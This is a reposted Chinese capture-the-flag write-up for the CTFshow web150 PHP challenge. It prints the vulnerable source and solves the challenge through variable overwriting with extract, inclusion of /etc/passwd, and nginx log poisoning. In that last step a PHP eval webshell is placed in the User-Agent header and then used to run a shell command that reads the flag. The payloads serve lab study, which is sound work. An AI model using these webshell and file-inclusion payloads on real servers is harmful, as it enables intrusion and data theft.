CTFshow php特性 web150
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web150
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57*/ include("flag.php"); error_reporting(0); highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();} }#過濾字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){echo "class is exists!"; }if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf); }思路
發現一個include,條件是存在$isVIP和$ctf中沒有冒號
通過extract($_GET),可以get傳入?isVIP=true就可以繞過過濾了
post提交ctf=/etc/passwd,有回顯,我們可以日志文件包含還有session包含(如果clean up開啟就不行,需要條件競爭 )
訪問/var/log/nginx/access.log,可以查看內容
題解
在User-Agent寫入<php phpinfo();eval($_POST[0]);?>
get:?isVIP=1 post:ctf=/var/log/nginx/access.log&0=?><?=`tac f*`;ctrl+f 查找flag
總結
水題
總結
以上是生活随笔為你收集整理的CTFshow php特性 web150的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web149
- 下一篇: CTFshow php特性 web150